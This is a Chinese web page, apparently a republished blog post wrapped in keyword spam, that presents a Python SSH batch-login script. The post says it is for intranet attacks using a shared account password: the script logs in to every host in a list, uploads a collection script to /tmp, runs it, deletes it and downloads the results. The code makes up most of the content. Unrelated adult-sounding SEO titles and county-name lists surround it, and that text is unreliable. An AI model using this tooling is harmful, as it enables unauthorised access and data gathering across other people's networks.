1. <ul id="0c1fb"></ul>

      <noscript id="0c1fb"><video id="0c1fb"></video></noscript>
      <noscript id="0c1fb"><listing id="0c1fb"><thead id="0c1fb"></thead></listing></noscript>

      99热在线精品一区二区三区_国产伦精品一区二区三区女破破_亚洲一区二区三区无码_精品国产欧美日韩另类一区

      RELATEED CONSULTING
      相關(guān)咨詢
      選擇下列產(chǎn)品馬上在線溝通
      服務(wù)時(shí)間:8:30-17:00
      你可能遇到了下面的問(wèn)題
      關(guān)閉右側(cè)工具欄

      新聞中心

      這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
      ssh批量登錄上傳執(zhí)行命令下載文件-創(chuàng)新互聯(lián)

      用途:

      成都創(chuàng)新互聯(lián)網(wǎng)絡(luò)公司擁有10多年的成都網(wǎng)站開(kāi)發(fā)建設(shè)經(jīng)驗(yàn),近千家客戶的共同信賴。提供成都做網(wǎng)站、成都網(wǎng)站制作、網(wǎng)站開(kāi)發(fā)、網(wǎng)站定制、外鏈、建網(wǎng)站、網(wǎng)站搭建、成都響應(yīng)式網(wǎng)站建設(shè)公司、網(wǎng)頁(yè)設(shè)計(jì)師打造企業(yè)風(fēng)格,提供周到的售前咨詢和貼心的售后服務(wù)

       搞linux主機(jī)的內(nèi)網(wǎng),拿到通用的賬戶密碼,批量登錄,上傳系統(tǒng)信息收集腳本,把執(zhí)行的結(jié)果拉回本地,用于分析。

      缺點(diǎn):

       不支持多線程  密碼必須正確切可連通  端口硬編碼為22 如果不是22 請(qǐng)自行修改

      執(zhí)行過(guò)程:

       執(zhí)行ssh.py root root 會(huì)自動(dòng)登錄ssh,上傳本地文件目錄下的1.py文件到linux服務(wù)器tmp目錄,執(zhí)行/tmp/1.py文件,刪除/tmp/1.py文件,把1.py執(zhí)行的文件的生成的test.txt下載回本地。注意:下載的文件名已硬編碼在1.py文件28行,如果下載的文件是其他的名字 請(qǐng)自行修改(下載文件跟生成的文件是相互的  兩個(gè)文件都需要改動(dòng))

      ssh批量登錄 上傳 執(zhí)行命令 下載文件

      # -*- coding: utf_8 -*-
      # Date: 2015/5/15
      # author:sanr
      import paramiko,time,sys,os
      def README():
      	print '+' + '-' * 50 + '+'
      	print u'\t    	Python ssh批量登錄腳本'
      	print u'\t    	  ip請(qǐng)寫(xiě)入iplist.txt	'
      	print u'\t     	   Time:2015-5-15'
      	print u'\t    	    author : sanr'
      	print '+' + '-' * 50 + '+'
      	if len(sys.argv) != 3:
      		print  u'[+]用法:'+os.path.basename(sys.argv[0]) + " user pass"
      		print  u'[+]實(shí)例:'+os.path.basename(sys.argv[0]) + " root root"
      		sys.exit()
      def upload(host,user,pswd):
      	try:
      		ssh = paramiko.Transport((host,22))
      		ssh.connect(username = user, password = pswd)
      		sftp = paramiko.SFTPClient.from_transport(ssh)
      		sftp.put("./1.py","/tmp/1.py")
      		print '[+]'+host,u'ssh已登陸',
      		# 調(diào)用執(zhí)行命令函數(shù)
      		ssh3(host,user,pswd)
      		# 調(diào)用創(chuàng)建目錄函數(shù)
      		mkdir(host)
      		# 下載遠(yuǎn)程主機(jī)文件
      		sftp.get("/tmp/test.txt", "./"+host+"/result.txt")
      		print u'信息收集結(jié)果已成功下載'
      		ssh.close()
      	except:
      		pass
      
      def ssh3(host,user,pswd):
      	try:
      		ssh = paramiko.SSHClient()
      		ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
      		ssh.connect(host,22,user,pswd, timeout=5)
      		#stdin, stdout, stderr = ssh.exec_command('ifconfig;free')
      		#print stdout.read()
      		#執(zhí)行命令 修改上傳1.py的代碼權(quán)限為777 執(zhí)行1.py腳本  刪除1.py腳本
      		stdin, stdout, stderr = ssh.exec_command('chmod 777 /tmp/1.py;/usr/bin/python /tmp/1.py;rm -rf /tmp/1.py')
      		ssh.close()
      	except:
      		pass
      def mkdir(path):
          # 引入模塊
          import os
          # 判斷路徑是否存在
          # 存在     True
          # 不存在   False
          isExists=os.path.exists(path)
          # 判斷結(jié)果
          if not isExists:
              # 創(chuàng)建目錄操作函數(shù)
              os.makedirs(path)
      		# 如果不存在則創(chuàng)建目錄
              print  u' 創(chuàng)建目錄成功',
              return True
          else:
              # 如果目錄存在則不創(chuàng)建,并提示目錄已存在
              print   u'本地目錄已存在',
              return False
      
      if __name__=='__main__':
      	README()
      	start_time = time.time()
      	with open('./iplist.txt', 'r') as f:
      		for ip in  f:
      			host=ip.strip()
      			user=sys.argv[1]
      			pswd=sys.argv[2]
      			upload(host,user,pswd)
      	print u'[+] 報(bào)告大爺 信息已收集完畢,用時(shí):%d 秒' % (time.time() - start_time)		

      附件:http://down.51cto.com/data/2365680

      另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無(wú)理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國(guó)服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡(jiǎn)單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場(chǎng)景需求。


      網(wǎng)頁(yè)題目:ssh批量登錄上傳執(zhí)行命令下載文件-創(chuàng)新互聯(lián)
      轉(zhuǎn)載來(lái)源:http://ef60e0e.cn/article/djodjh.html
      99热在线精品一区二区三区_国产伦精品一区二区三区女破破_亚洲一区二区三区无码_精品国产欧美日韩另类一区
      1. <ul id="0c1fb"></ul>

        <noscript id="0c1fb"><video id="0c1fb"></video></noscript>
        <noscript id="0c1fb"><listing id="0c1fb"><thead id="0c1fb"></thead></listing></noscript>

        咸宁市| 关岭| 深圳市| 巨野县| 娄烦县| 高青县| 新源县| 英吉沙县| 奉化市| 高尔夫| 沛县| 博乐市| 西充县| 玛曲县| 黄骅市| 和田市| 阳原县| 昌图县| 鲁甸县| 营山县| 乌鲁木齐县| 阜宁县| 车险| 弥渡县| 镇赉县| 襄城县| 得荣县| 楚雄市| 和平县| 本溪| 思南县| 东方市| 海盐县| 北海市| 武宣县| 博野县| 宁都县| 玉环县| 西林县| 温泉县| 广丰县|